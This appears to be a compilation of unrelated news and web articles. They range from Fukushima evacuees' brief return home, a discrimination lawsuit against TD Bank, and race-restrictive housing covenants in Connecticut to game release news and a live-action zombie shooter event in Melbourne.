-Six months after radiation leaks from the nuclear plant led to their evacuation, residents of nearby towns briefly return  Takashige Kowata thought he was prepared for the worst when he opened the door to his house for the first time in six months. But the trauma of seeing his family home abandoned amid the panic of a nuclear meltdown was compounded when he noticed a broken bathroom window.  "It looks like we have been burgled," the 63-year-old says, still too shaken to establish what is missing. "I can't believe that someone is capable of stealing from the victims of a disaster."  The intruders would have committed their crime with ease: Kowata's spacious house and garden lie about a mile from the scene of the Fukushima Daiichi nuclear disaster, which has turned large swaths of nearby land into an official no-go zone.  He was one of 80,000 people living within a 12-mile (20km) radius of the nuclear plant who were told to evacuate by the government in the hours after a magnitude 9.0 earthquake launched a tsunami that crashed through its protective seawall and triggered meltdown in three of its six reactors.  Kowata and more than 200 of his neighbours have been allowed to make a brief visit home to collect as many belongings as they can carry. It is a homecoming that many accept is likely to be their last.  Dressed in protective suits, masks and goggles, they have been given just two hours to survey the damage to the houses they have been barred from entering since the triple disaster struck north-east Japan on the afternoon of 11 March.  Months of radiation leaks from Fukushima Daiichi have rendered Okuma and the nearby town of Futaba uninhabitable for years, perhaps decades.  According to a recent government report, the annual cumulative radiation dose in one district of Okuma is estimated at 508.1 millisieverts, more than 500 times the acceptable yearly level and, experts believe, high enough to increase the risk of cancer.  "We've been told that we can't return home because of the radiation," says Kinuko Yamada, a 53-year-old woman who is making the trip with her husband. "I hope we can go back, but it could be 20 to 30 years before that happens. I'll probably be dead by then."  Radiation levels in the town are so high that decontamination could take years, or not succeed at all. Residents have so far been allowed just this one brief visit, organised by the plant's operator, Tokyo Electric Power [Tepco] and nuclear safety officials. The Guardian was the only foreign media permitted to accompany them.  Evidence of the area's dismal place in the history of Japan's nuclear power industry becomes visible soon after the convoy of buses passes through the police checkpoint.  All traces of ordinary life have been cast in eerie suspension: roadsides are overgrown with grass and weeds; shops and restaurants lie empty, and grand farmhouses – evacuated in the hours following the accident, when Tepco officials were considering abandoning the plant – stand quiet and deserted. Toppled walls and scattered roof tiles are reminders of the staggering force of the quake that caused the world's worst nuclear crisis since Chernobyl.  The only sound is the chirping of late-summer cicadas and the occasional beep of a Geiger counter. A scrawny black dog wanders into the road, sizes up his human visitors and scampers back into the woods.  And just visible above a line of trees is the roof of one of Fukushima Daiichi's reactor buildings. As our bus drives past, radiation levels inside surge to 61 microsieverts an hour (compared to the typical Japanese average of 0.34 microsieverts).Elsewhere inside the exclusion zone, at least 1,000 cattle are roaming wild after escaping from their farm homesteads, according to local authorities. Most pets, and tens of thousands of cows, pigs and chickens have starved to death.  A few days after residents returned to their homes, police officers and firefighters resumed the search for almost 200 tsunami victims in the area still listed as missing.  Some residents are reluctant to openly criticise Tepco, a major local employer. "I never worried about the nuclear plant before the tsunami," says one of Kowata's neighbours, a woman in her 60s who declines to give her name.  "When we left on 11 March we thought we would be back in a week or 10 days. Then the reactor buildings started exploding and we were more cautious, but even so I never thought it would be as bad as this. The power plant put food on the table around here ... I can't find the words to describe how I feel.  "I'm going to take back some valuables and our ancestors' spirit tablets – my parents are both dead. The earthquake left our family Buddhist altar in pieces, so I brought some flowers to place in front of it."  Her garden, usually a blaze of colour at this time of year, is a tangle of weeds and wild grass. "I spotted a few flowers blooming among the grass," she says. "I love flowers and told them I was sorry for not being able to look after them properly."  Inside, the doors have come away from their hinges and the walls have been pushed up by the force of the quake. "It's terrible," she says. "The kind of shock from which you can never recover. I want to come back, but it might be better for my peace of mind to stop hoping."  However, Kowata, a former local government official who witnessed the arrival of MOX (mixed oxide) nuclear fuel at Fukushima Daiichi last year, makes no attempt to hide his bitterness towards Tepco.  He has lived in this neighbourhood all his life and had only just built a new house, which he shared with four other members of his family. His father, like many other elderly tsunami survivors, died soon after being evacuated.  "I don't know how much Tepco and the government will give us as compensation, and in any case it will take a long time to arrive," says Kowata, who is living in rented accommodation in Aizu-Wakamatsu, a town farther inland.  "We can't wait around for them to take action. The nuclear accident is a man-made disaster.  "The government and Tepco kept telling us that this kind of thing could not possibly happen. Tepco hasn't changed when it comes to covering up trouble."  Just two hours after they arrived, Okuma's residents must board buses to take them back outside the exclusion zone to be screened for radiation.  They emerge from their homes gripping plastic bags bulging with clothes, valuables, heirlooms, children's toys and photo albums.  Kowata gathers his belongings, walks out of his front door and turns the key one last time. "As far as I am concerned, this is the last time I will see my home," he says. "The house itself isn't very old ... it's a great shame."  Halfway down the driveway he turns and fixes his gaze on the home he is leaving behind.  "I wanted to say thank you one last time. Now it's time to move on."
-Daniel Florien, my Patheos colleague, lives in Aurora, Colorado. He wasn’t at the theater that night, but his account of what happened and his analysis of the aftermath deserve a few minutes of your time:  … It’s comforting to think people are in a better place, that God saved lives, that Satan was behind the incident, and that there is a Master Plan behind such tragedy.  It’s an empty comfort, however. Brains must be partially shut off to partake in it. Faith must trump fact. If the foundations of the comfort are analyzed rationally, cognitive dissonance arrives and hope fades.  Consider this: If I had the power to save everyone at the theater because I was all-powerful and all-knowing and all-loving and all-whatever, and I didn’t do it, wouldn’t I be evil — or at least greatly negligent? With great power comes great responsibility. Their God does not seem up for the task.
-Just when you thought you knew everything you needed to leading into Avengers: Age of Ultron, a new mystery arises. Disney is getting ready to premiere the film later this month and in a list of cast members attending the red carpet premiere, two names jumped out: Julie Delpy and Linda Cardellini. Neither actress has been in a Marvel movie before but both are well-known, which suggests more than just a fleeting cameo. So what does this mean? Read more below.  Disney confirmed that having Delpy and Cardellini on the Avengers Age of Ultron cast list for the premiere was not a misprint. Beyond that, there was no comment.  The ramifications of these two actresses being cast in the movie are endless. Are either of them Captain Marvel, appearing magically at the end of the film? That initial thought seems unlikely. If that does happen, Disney would never let that surprise leak in this manner. More likely is some kind of supporting role that doesn’t have any real MCU significance, but just requires a more seasoned, talented actress. I’m thinking a role like Ashley Johnson’s in the first movie.  We’ll have to wait until next week when the film starts screening to know for sure but it’s pretty exciting that these two awesome actresses are in the film.  For a quick refresher, Julie Delpy is best known for her starring role in Richard Linklater’s Before Trilogy. She also co-wrote several of those films and is now a director herself, with films like 2 Days in Paris. Linda Cardellini came into our lives as Lindsey Weir in Freaks and Geeks and has since appeared in the Scooby-Doo movies, on ER, Mad Men and much more.  As of press time, Avengers: Age of Ultron is not on the IMDB page for either actress.  Who do you think Julie Delpy and Linda Cardellini are playing in Avengers: Age of Ultron?  NOTE: This is not an April Fool’s Joke:
-A Montreal man is suing TD Bank because it closed all of his accounts five years ago, arguing the bank discriminated against him because he is Iranian.  Hossein Pourshafiey's mortgage, business and personal bank accounts were suddenly closed by TD in 2012. He says he was never given a written explanation for the bank's decision, but believes he was targeted over his Iranian heritage and what he says are unfounded concerns that his money-transfer business violated Canadian sanctions against Iran.  In 2012, Canada's sanctions law prohibited banks from providing financial services to, from or for the benefit of anyone in Iran. Non-commercial money transfers of $40,000 or less were permitted if the person providing the financial services kept a record of the transaction. Mr. Pourshafiey said in an interview that while his business provided personal money transfers to people in Iran, the transactions did not exceed $40,000. The government repealed that section of the sanctions law in February, 2016.  Story continues below advertisement  TD Bank Group said in a statement it does not comment on any matter before the courts. Global Affairs Canada, which oversees the government's sanctions laws, did not respond to a request for comment.  Five years after TD closed his accounts, Mr. Pourshafiey, 66, said his life is in financial ruin. Although he was able to transfer cash out of his personal account, he has drained all of his money trying to repay the $767,000 that was remaining on the mortgage. He said he cannot earn an income because other banks were not willing to provide him with the special money-services business account he requires to resume operating his money-transfer company, Moneywise Financial.  Mr. Pourshafiey, a father of five, moved to Canada from Iran 45 years ago. He is a Canadian citizen. He cried as he described to The Globe and Mail the toll the past five years has taken on his life. "In our culture, we always like to take care of the kids, but the situation that I have, when I go to see my grandchildren, I can't afford it because I don't have an income to buy them something. I have to go there empty-handed all the time. This is humiliating for me," he said through tears.  Mr. Pourshafiey's statement of claim says his experience with TD started in 2009, when the bank encouraged him to transfer all of his banking services, including the business account for his company, to the institution.  In a letter to Mr. Pourshafiey on Oct. 1, 2012, a TD representative said that after reviewing its customer relationships, the bank "can no longer continue to support your current accounts and/or services."  Mr. Pourshafiey's lawyer, Alan Stein, said his client has never received any written reasons for the closing of his accounts, even after repeated inquiries. However, he said a lawyer who represented Mr. Pourshafiey in a previous court action was verbally told why the accounts were closed.  "It was only when my client's former lawyer instituted proceedings that suddenly they [TD] raised this issue – the fact that, because of the federal government guidelines in regards to dealing with Iranians who were carrying on business in Montreal and Iran … they decided to close his accounts," Mr. Stein said.  Story continues below advertisement  Story continues below advertisement  TD was making national headlines at the time after some Iranian-Canadians complained their accounts had also been frozen or closed under the sanctions against Iran. Mr. Stein said he thinks Mr. Pourshafiey is the only Iranian-Canadian to sue TD for closing his bank accounts since the bank's response to the sanctions in 2012. His client is seeking $425,000, which includes $275,000 for loss of business and $150,000 for stress, legal fees and punitive damages. He is also demanding TD reinstate his banking services, including his business account and mortgage.  A five-day court hearing in the case started on Dec. 5 in Montreal. Mr. Stein expects a decision will be made in the months come.
-EMBED >More News Videos There is an official order for a judge to review the Peoples Gas project that could cost at least $6.8 billion.  CHICAGO (WLS) -- There are developments into the I-Team investigation into a multi-billion dollar Peoples Gas project . Critics say it is way over-budget, potentially raising your gas bill.There is an official order for a judge to review the Peoples Gas project that could cost at least $6.8 billion. Critics call it a bloated budget. Now, there is a new decision by the Illinois Commerce Commission to hold more hearings and investigate it further."Since the inception it's been plagued with cost overruns," said Abe Scarr, Illinois PIRG.Illinois Public Interest Research Group is supporting the state's new decision to hold more hearings and testimony about the Peoples Gas Pipeline Replacement Strategy, its the project underway to modernize and replace old or leaky gas lines."The decision to continue the investigation is better than the alternative to rubber stamp the status quo," Scarr said.Attorney General Lisa Madigan told the I-Team in January that Peoples Gas customers could see their bills double in the next 14 years because of the growing cost. Peoples Gas said it expects the project to raise consumer bills by 2.7 percent annually, less than Madigan's estimate."They are asking rate payers to pay an exorbitant amount of money," Madigan said.An independent 2015 audit revealed the cost of the project had grown from $2.5 billion to more than $8 billion. Peoples Gas counters, estimating he cost to now be at $6.8 billion.The Illinois Commerce Commission decision directs the administrative law judge to review the project and hold hearings to determine how to: best prioritize leaks, reevaluate the cost and budget, and to determine the impact on the average annual customer bill.Peoples Gas said it's being responsive to the ICC. The company also says it has already made significant improvements, saying: "Our modernization program replaces an outdated natural gas delivery system, which consists of thousands of short segments of cast and ductile iron pipe, some installed more than a century ago. The benefits of the program will result in Chicagoans receiving the safe, reliable and modern natural gas distribution system they deserve."The consumer watchdog group Citizens Utility Board said the project is on an "unsustainable path" and "will be devastating" to Chicago consumers as it is now. CUB says it will work with state regulators to hold Peoples Gas accountable and control costs."We have made significant improvements implementing our System Modernization Program (SMP). Our modernization program replaces an outdated natural gas delivery system, which consists of thousands of short segments of cast and ductile iron pipe, some installed more than a century ago. The benefits of the program will result in Chicagoans receiving the safe, reliable and modern natural gas distribution system they deserve. The ICC process has been very helpful to all stakeholders and we're happy to be responsive to the additional information the ICC has requested. We remain committed to working with the Illinois Commerce Commission and all parties as we continue implementing SMP. We remain committed to working with the Illinois Commerce Commission and other stakeholders throughout this process."
-A year ago, Tammy Rose never imagined she’d be active again in church, holding a palm branch with a community of Christians marking the beginning of Holy Week.  For nearly two decades, in fact, she had more or less abandoned the faith, disillusioned by what she saw as a constant focus on conservative social issues and pressing needs for more donations.  But if politics helped drive her away, it is politics that, in some ways, is drawing her back to the fold. And on this sunny Sunday morning at Greenpoint Reformed Church, not too far from the Brooklyn artists collective where she lives, Ms. Rose is beaming as she joins the responsive call to prayer:  “Who are we?” intones the Rev. Jennifer Aull, the congregation’s minister for community service. Responding, the congregation says together: “We are young and old, gay and straight and in between. We are single and partnered, happy and sad, confused and inspired. We are street smart and college-educated. Some of us can’t pay our bills and others have more than enough to share.... We are God’s people. We are the body of Christ.”  Like a number of progressive congregations across the country, Greenpoint Reformed has seen both a surge in attendance and a newfound energy within its pews over the past year. Since the rise of Donald Trump to the US presidency, in fact, liberal enclaves have reported something of an awakening.  Hundreds of churches have joined the “sanctuary” movement to protest the administration's immigration policies since the election, and thousands have begun donating more money to religious groups supporting social justice issues, many report. At liberal seminaries like Union Theological in New York, students and community members have packed into public lectures on the “social gospel,” standing-room-only crowds that have left administrators stunned.  The call to worship on this Palm Sunday embodied some of the reasons Rose decided to return to church last year. “When I visited for the first time last Easter Sunday, I was like, oh my God, these are my people!” she says, noting she had been drawn by the rainbow flag and Black Lives Matter banner draping Greenpoint Reformed’s front facade. “I suddenly felt comfortable in this gang of – how can I put it? Everyone’s a little quirky. I was really happy that there was a place where that diversity could be celebrated.”  Yet the congregation also offered something a bit more intangible, says Rose, a playwright and artist with a day job in Manhattan’s tech industry. Already part of a community of politically-active artists, she is a regular presence at street protests.  But here in a community sharing prayer concerns together, or celebrating a gay couple’s renewal of their marriage vows, or including children coloring their Easter eggs – “I come here and I just feel replenished,” she says.  Revival of 'social gospel'  The current “Trump bump” now energizing many progressive congregations, however, may only be a blip on what has been a decades-long decline of liberal Christianity and some of the mainline Protestant denominations that have carried its torch since the early 20th century, many scholars caution.  “The social gospel has found its biggest moment of relevance since the Reagan years,” says Brett Grainger, professor of theology and religious studies at Villanova University near Philadelphia. “The energy is feeding directly off the current administration's proposed budget cuts, which target the most vulnerable members of society, and its policies on immigration, which rub against the belief that ‘love of the stranger’ is central to Christian teaching.”  “But if there is a revival, it's most likely to be temporary, in that it thrives on its antagonism to Trump,” Professor Grainger continues.  Liberal Christianity and mainline Protestantism have been contracting for decades, in fact, losing millions of members and the cultural influence it once was able to wield. Mainline Protestant churches, including those in Presbyterian, Lutheran, and Methodist denominations, have lost roughly 5 million adult members since 2007, and now comprise about 15 percent of the US population, according to Pew Research.  Formed in the “modernist” controversies of the 1920s, liberal Christianity began to “demythologize” certain teachings like the virgin birth, the divinity of Jesus of Nazareth, and the literal meaning of Scripture. In response, conservatives emphasized the traditional “fundamentals” of Christian doctrine, which eventually gave rise to the term “fundamentalism.”  At the same time, many liberal congregations began to emphasize the “social gospel,” which focuses on Jesus’ ministry to the outcast and poor and the call to Christian service. Indeed, Christian congregations on the left were major players in the Civil Rights movement and the rise of the “sanctuary churches” movement that supported Central American refugees in the 1980s. Many were also part of the spread of “liberation theology,” first preached by Central American Catholics in the 1960s, who proclaimed that God primarily identifies with the oppressed and marginalized.  “Churches that are channeling this new anti-Trump energy into justice and caregiving issues, they’re not leaving their understanding of the Christian gospel behind,” says Bill Leonard, professor of Baptist studies and church history at Wake Forest University in Winston-Salem, N.C. “They are saying: This is who we are, we have a history of this, and we can’t be silent.”  A 'Trump bump'?  Rev. Ann Kansfield, the minister of proclamation at Greenpoint Reformed, isn’t sure how much the congregation’s recent surge can be attributed to a “Trump bump.” More people voted for Bernie Sanders in Greenpoint, after all, than any other area of New York City in the Democratic primary last year, and Reverend Kansfield noticed a simmering political energy going back to 2015.  Up to then, the church had plateaued with about 35 adult members. On Sunday, there were more than 60, including children. “We were already established as the progressive church in the neighborhood,” she says, noting that LGBT inclusion and its soup kitchen and food pantry were its primary ministries. “But with this new energy, we’ve been doing some deciding over who we are and what we do, and what following Jesus should look like in our context.”  After many members were abuzz following the Women’s March on Washington in January, the congregation put together a social justice task force. Kansfield has been making contacts with consortiums of faith groups mobilizing for progressive causes.  “But this is a marathon, not a sprint,” says Kansfield, who is also one of the chaplains serving the Fire Department of New York. “It would be really easy for us to tire ourselves out with all our spreading and fretting. But how do we actually invest our energy and time and resources to where it will strategically matter?”  Attending church is most effective when it is the “spiritual engine that drives the rest of the week,” she says, “the way we’re going to recharge and refuel for the rest of the week. And that isn’t going to be ginormous, but church and the spiritual practices that we share together can provide sustainable, ongoing energy that’ll keep you capable of the work of the long game.”  Search for spiritual resources  Sustaining the current spike in attendance at liberal churches may be difficult, however, given the long-term trend of decline, scholars say.  “If we do in fact see an uptick in attendance, it will reflect the fact that liberal Christians are searching for spiritual resources to speak to the sense of despair they feel about the current political direction of the country,” says Grainger. “What organized religion offers is not only that broader network of support but also the theological reassurance that, even if things aren't going well in the short term, in the longer arc of history, God is in control.”  Yet with the religious landscape in the US still in the midst of seismic changes, including the decline of church attendance and the rise of the so-called “nones,” those who do not affiliate with a religious tradition, a liberal de-emphasis of traditional doctrines and a focus on a social gospel might be attractive.  Professor Leonard at Wake Forest notes that many liberal churches have already developed outreach programs to engage “nones” in public theology discussions, home study groups, and dinner conversation groups. “These endeavors are drawing many individuals back to church, or to church for the first time,” he says.  Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy  For her part, Rose says she wants to become more involved in Greenpoint’s ministries.  “I usually just go the Sunday services now,” she says. “But I’m thinking more and more about volunteering in the soup kitchen every week. I don’t want to come here just to participate in the family I’ve found. Now I want to give back to the family.”
-Amnesty International has criticized the punitive measures taken by Saudi Arabia and a number of its allies against Qatar, saying the restrictions violate the human rights of the Qatari people.  The Amnesty’s Secretary General Salil Shetty made the remarks while meeting with Ali Bin Smaikh Al Marri, the chairman of the National Human Rights Committee of Qatar, who had paid a visit to the rights body’s headquarters in London, Arabic-language daily Alquds Alarabi reported on Tuesday.  Shetty called on all relevant and international bodies to try to stop the measures.  Saudi Arabia, the United Arab Emirates (UAE), Bahrain, the Maldives, and Egypt recently broke off ties with Qatar, accusing Doha of supporting terrorism, an accusation that the Qatari government denies. The regional countries also blocked their transit routes to Qatar and ordered most of Qatari nationals to leave. The measures have also made family visits difficult. Qatari airways have also been banned from using the airspace of the Saudi-led bloc of countries.  The Amnesty chief said a delegation from the body, which had earlier visited Qatar, documented around 700 instances in which the Saudi-led measures had resulted in rights violations.  Read more:  He also condemned the all-across-the-board banning enacted by the regional countries against Qatari broadcasters, including Al Jazeera, and the Qatari press. Shetty described the muffling of the Qatari media as being in blatant contravention of free speech and access to information rights.  Saudi Arabia and its Arab allies have reportedly been angered by the sometimes critical coverage they receive from Al Jazeera.  This file photo shows Qatar’s Foreign Minister Mohammed bin Abdulrahman Al Thani arriving for the opening of a conference in Paris, France, on January 15, 2017. (By AFP)  Doha itself on Monday denounced the sanctions as “unfair” and “illegal.”  “Whatever relates to our foreign affairs... no one has the right to discuss,” Qatari Foreign Minister Sheikh Mohammed bin Abdulrahman Al Thani told reporters during a visit to Paris.  He called for “dialog based on clear foundations” over the accusations that have been leveled against Qatar.  Al Thani also said the motives behind the anti-Doha measures were unclear to the Qatari government.  “It’s not about Iran or Al Jazeera,” he said. “We have no clue about the real reasons.”  Some analysts say the diplomatic war on Qatar is because Doha acts more independently of Riyadh in its foreign policy, including in its relations with Iran.
-Richard M. Smith, the president of the Pinkerton Foundation, which gave the fund $1.4 million from 2012 to 2014 for a three-year pilot of Summer Quest, said the government could take risks with private funds that it could not with tax dollars. He added that private money helped get programs up and running quickly, because the rules of public procurement did not apply.  “The great value of the role of private philanthropy is that it can experiment with potential solutions to major problems that would be politically too controversial if attempted with public money,” he said.  Mr. Klein also used the private money he and Ms. Kennedy raised, some of which came through the fund and some through other nonprofits, to finance the opening of new small high schools, to create a training institute for new principals and to undertake other experiments in overhauling the school system, some of which, including the small high schools, the current administration has not embraced.  Image The schools chancellor, Carmen Fariña, like Mr. de Blasio, is not as connected to a world of wealthy donors in the same way that her predecessor was. Credit Karsten Moran for The New York Times  Denis Calabrese, the president of the Laura and John Arnold Foundation, which gave the fund $1.25 million during the Bloomberg years to finance a pilot teacher evaluation system, said philanthropists who supported charter schools had probably been turned off by Mr. de Blasio’s fight last year with Eva S. Moskowitz, the founder of Success Academy, the city’s biggest charter school network, over space for three of its schools. (The city ultimately gave the schools space.)  “That was the most visible thing that funders saw in terms of gauging the approach,” Mr. Calabrese said.  Peter Sloane, the chairman and chief executive of the Heckscher Foundation for Children, which gave the fund close to $1.2 million from 2006 to 2008 for a free breakfast and lunch program during the summer, said that if the fund were having difficulty raising money, “it may reflect a more basic discomfort with the education agenda of this administration.”  About half the money counted as raised this year comes from two large, multiyear grants made during the 2012 fiscal year, from the Open Society Foundations and the Wallace Foundation, the first to support programs aimed at improving outcomes for young black and Latino men, and the second for principal development.
-Ads support the website by covering server and domain costs. We're just a group of gamers here, like you, doing what we love to do: playing video games and bringing y'all niche goodness. So, if you like what we do and want to help us out, make an exception by turning off AdBlock for our website. In return, we promise to keep intrusive ads, such as pop-ups, off oprainfall. Thanks, everyone!  By Steve Baltimore / May 27th, 2015  UPDATE: They have now confirmed a North American release for these titles. It appears SAO: Hallow Fragment will be digital only, while SAO: Lost Song will be both digital and retail.  Via Twitter Bandai Namco UK has announced that it would be bringing Sword Art Online: Lost Song to both the PS4 and Vita consoles in Europe this Autumn. The good news didn’t stop there they are also bringing a directors cut of Sword Art Online: Hallow Fragment to the PS4. I have played quite a bit of the Vita version and if they fix up the translation a bit this will be something to behold.  While there is no word yet on a North American release you can bet it is likely coming later today. We will keep you updated as more details become available.  It doesn’t end there! We’re also bringing out Sword Art Online Re: Hollow Fragment to PlayStation 4! pic.twitter.com/4mc121fS60 — Bandai Namco UK (@BandaiNamcoUK) May 27, 2015  Sword Art Online: Lost Song is coming to Europe for PS Vita and PS4 this Autumn! pic.twitter.com/NiWuckJg1Y — Bandai Namco UK (@BandaiNamcoUK) May 27, 2015  About Steve Baltimore Steve started with oprainfall not long after the campaign moved from the IGN forums to Facebook. Ever since, he has been fighting to give all non-mainstream RPGs a fair voice. As the site admin, he will continue to do this and even show there is value in what some would deem "pure ecchi." He loves niche games and anime more than anything... well, except maybe Neptune.  Share this: Facebook  Twitter  LinkedIn  Pinterest  Tumblr  AnimeShinbun  N4G  Reddit  Like this: Like Loading...
-Race Restrictive Covenants in Property Deeds  by Mary Daly  “No persons of any race except the white race shall use or occupy any building on any lot except that this covenant shall not prevent occupancy by domestic servants of a different race employed by an owner or tenant.” This language, taken directly from a property deed dated June 10, 1940, in West Hartford’s High Ledge Homes Development, appeared in property deeds in five neighborhoods during the 1940s in West Hartford. In some places in Connecticut such barriers appeared even earlier.  These restrictive covenants, along with ones that may have existed in other Northern states, were implemented in order to prevent minorities from moving into white suburban neighborhoods. Real estate developers, homeowners, and neighborhood associations wrote these restrictions, called housing covenants, for their developments. Discriminatory covenants excluded certain groups from housing areas not only in Connecticut but throughout the northern United States as well.  Population Shift Sparks Unfair Realty Practices  The Great Migration of blacks from the rural South to work in industrial factories in the North increased the minority population in Hartford beginning in the 1920s. Housing areas became a commodity that whites wanted to protect. In 1937, the Home Owners’ Loan Corporation (HOLC) issued a map rating Hartford’s neighborhoods on a scale from A to D based on the perceived risk of mortgage defaults in each community. The HOLC labeled areas with a high concentration of minorities as riskier; these received a D rating, which was color coded as red on the map. Even a small number of minority families living in an area often resulted in it receiving a C rating. This map vividly documents how the racial composition of a neighborhood influenced the values of homes in the area.  This process—called redlining—exposed the deep concern many whites had about minorities moving into their neighborhoods. The influx of blacks into the North and the redlining process contributed to “white flight” into the suburbs of Hartford starting in the 1940s. Real estate agencies and homeowners, concerned about black neighbors causing a decline in property values in their new white suburban enclaves, wrote housing covenants into their property deeds. Due to these covenants, blacks were nearly eliminated from the suburban housing market during the 1940s.  Shelley v. Kraemer Limits Power of Restrictive Covenants  In 1948, restrictive housing covenants were deemed unenforceable by law in the Supreme Court case Shelley v. Kraemer on the grounds that such restrictions violated the 14th Amendment, which calls for equal treatment under the law for all citizens of the United States. This ruling did not, however, find the covenants themselves to be illegal. Therefore, some private parties still abided by the restrictive covenants in property deeds, even though they could not be enforced when taken to court. In many predominantly white areas of Connecticut, such as New Canaan, for example, “gentlemen’s agreements” not to sell homes to blacks, Jews, or other minorities allowed discrimination to quietly persist. The Fair Housing Act of 1968 did much to discourage continuations of these practices.  Documenting a History of Discrimination  Since it is still legal to have these racially restrictive covenants in property deeds, some still remain in housing deeds in West Hartford. Such clauses have been documented for five areas, including the High Ledge Homes Development, by On The Line, a public history web-book by Trinity College professor Jack Dougherty. As part of this effort, The Cities, Suburbs and Schools Project, a collaborative effort involving Trinity faculty and students as well as community members, interviewed citizens of West Hartford in 2011. They asked residents living in homes with property deeds that included race restrictive covenants their thoughts on the matter. Younger, new residents of the area were alarmed to learn that they existed. “It’s not something I would have expected in Connecticut…,” said one. “I grew up believing that [overt racism] was in the South.” Those who had lived in their neighborhoods for a long time were less surprised. One woman reported knowing of the covenant when she purchased her home in 1970. These covenants are more than artifacts of an earlier time. They have shaped the present-day nature of communities across Connecticut.  Readers of this article who are aware of racially restrictive covenants in housing deeds are invited to contribute to On The Line’s ongoing research by leaving a comment here.  Mary Daly, of Madison, Wisconsin, and a student at Trinity College in Hartford during the 2012-13 academic year, is majoring in Urban Studies with a minor in Latin American Studies.  LEARN MORE Websites version="1.0"? “Federal HOLC ‘Redlining’ Map, Hartford Area, 1937.” University of Connecticut Libraries, Map and Geographic Information Center (MAGIC), 2012. Link version="1.0"? “Race Restrictive Covenants in Property Deeds, Hartford Area, Circa 1940.” University of Connecticut Libraries, Map and Geographic Information Center (MAGIC), 2012. Link version="1.0"? “Racial Change in the Hartford Region, 1900-2010.” University of Connecticut Libraries, Map and Geographic Information Center (MAGIC), 2012. Link Video version="1.0"? Everett, Mary. Oral History Interview on West Hartford and Restrictive Covenants, (with Video) - Cities, Suburbs, and Schools Project. Interview by Candance Simpson. Pdf file, video, July 21, 2011. Trinity College Digital Repository, Hartford. Link version="1.0"? Hansen, Susan. Oral History Interview on West Hartford and Restrictive Covenants, (with Video) - Cities, Suburbs, and Schools Project. Interview by Candance Simpson. Pdf file, video, July 22, 2011. Trinity College Digital Repository, Hartford. Link version="1.0"? Walsh, Debra. Oral History Interview on West Hartford and Restrictive Covenants, (with Video) - Cities, Suburbs, and Schools Project. Interview by Candance Simpson. Pdf file, video, July 21, 2011. Trinity College Digital Repository, Hartford. Link Books version="1.0"? Katz, Bruce. “Gentleman’s Agreement: Discrimination in Metropolitan America.” In Reflections on Regionalism. Washington, DC: Brookings Institution Press, 2000. version="1.0"? On the Line: How Schooling, Housing, and Civil Rights Shaped Hartford and Its Suburbs. Hartford, CT: Trinity College, 2011. Dougherty, Jack, and colleagues.. Hartford, CT: Trinity College, 2011. Link
-An upcoming event combines laser-tag technology with horrifying zombies in a spectacular first-person shooter video-game event.  (Credit: IRL Shooter)  The game's called Patient 0, and it's pretty much exactly what the studio name, IRL Shooter, suggests: a first-person shooter in the real world, in a game that combines elements of film, video gaming and live-action role playing. It will be hosted in an abandoned factory in Melbourne starting 31 October, and will run for a month.  Its creation is the work of three people — Drew Hobbs, who works primarily on the script, story and characters; Ben Powell, whose purview covers IT infrastructure; and David Leadbetter, who looks after production, design and logistics.  According to Leadbetter, Patient 0 is the result of a drunken night in a pub. "The three of us were crapping on about horror films and video games (as anyone who knows us will testify as being 100 per cent usual), and Ben mentioned the UK company putting on zombie apocalypse games in a shopping mall," he told CNET Australia. "This got us more excited than usual, and, as we dissected the concept, the issue of a scoring system was raised as a requirement to make it less about just shooting and more about gaming. This was on a Friday night. By Sunday, we had the website registered, a splash page up and Drew had started writing the outline for what has become Patient 0."  That's fast work, especially considering that it's only been a few months since then, and there are significant logistical planning nightmares involved.  The first was the location. "After a very disappointing false start (we were quite advanced in discussions with a certain institution but were ultimately rejected by their board of directors), we decided on a beautiful, disused building that I had come across scouting for film locations. It is a much better option, and the game has grown considerably since we chose it," Leadbetter said.  (Credit: IRL Shooter)  Now that location's under control, the team is trying to figure out the weapon system. IRL Shooter, according to its website, is working on a new weapon system that will allow you to count kills, headshots, body shots, misses and friendly fire, all packaged in a specially made replica M4. It sounds complicated; but once again, the team has pulled out all stops. "We are working closely with a professional armourer and a team of techs to have all the functionality that a gamer will require. It is coming together nicely."  On the more practical side of things is player safety.  "Our biggest concern was that the environment is going to be so real and scary that a player could potentially 'go rogue' and start physically assaulting the actors," said Leadbetter. "For the safety of all people inside the building, the entire playing arena will be covered by CCTV and monitored by a 'controller', who will be in radio contact with both the players and the cast. We are incorporating this communication into the gameplay. Players will have to sign a standard liability waiver (similar to if you go bungee jumping, ballooning, play paintball, etc). We will also have an on-site nurse at all times, and full control of the building, so in the unlikely event of an incident we will be able to extract the person almost instantly."  Additionally, touching the actors will immediately result in the player becoming "infected", which Leadbetter hopes will reduce the temptation to come into physical contact with the actors. "We are developing a system that will allow our zombies to get close to the players to inflict 'damage'; however, they won't have to touch them. Again, we're trying to limit the potential for 'going rogue'."  Players will patrol the factory in teams of six to survive the zombie outbreak, with the foes being played by real actors. This means that you never know what's going to happen; nothing is pre-programmed, and there's no dodgy AI that you can predict.  (Credit: IRL Shooter)  "This is not a picnic, this is a zombie survival experience," Leadbetter said. "Players enter the building as part of a special ops team sent in to clear the building and discover what actually happened. Like all good video games, there will be missions and puzzles to solve as they go. There will also be health packs, extra ammo and other items inside the building that they may or may not find, depending on how well they play the game. There may be moments where the players can stop to catch their breath, regroup and plan their next move, but there will not be time to kick back and relax."  It sounds intense. And amazing. So why hasn't it been done on this scale before?  "Actually, we were a bit puzzled by this ourselves," said Leadbetter. "Obviously, there are some amazing events run in the UK and US that cover some aspects of what IRL Shooter are creating, but no-one has included the weapons tech/video game gameplay yet. Seemed really obvious to us, but as there was no weapon on the market that could do what we needed, we decided to develop our own."  If all goes well, IRL Shooter intends to tour the game around the country.  "Our intention is that after a successful run in Melbourne, we take Patient 0 on the road to all major capitals and regional centres," Leadbetter said. "Once Patient 0 has run its course, we will be hosting another 'IRL Shooter Presents' event. Our philosophy is to bring our favourite FPS video-game scenarios into real life, so expect events with themes such as Ground Assault, Alien Invasion, Nazi Occupation, etc in future."  Pricing has yet to be finalised, but Leadbetter told CNET Australia, "We are still working through the price structure for the event, but standard tickets will be in the region of AU$125 per person." What that gets, from arrival on-site, through playing the game to post-game debriefing, is about an hour and a half. "However, the 'game' will start from the minute that the player purchases their ticket (months before the event itself), as we are building a whole universe around the game for the players to be part of," he assured us.  Limited pre-sale tickets are available now on Pozible (which is kind of like Kickstarter), and you can register here to be notified when the tickets go on sale.  Watch the video here to find out more. Seriously, we can't wait.
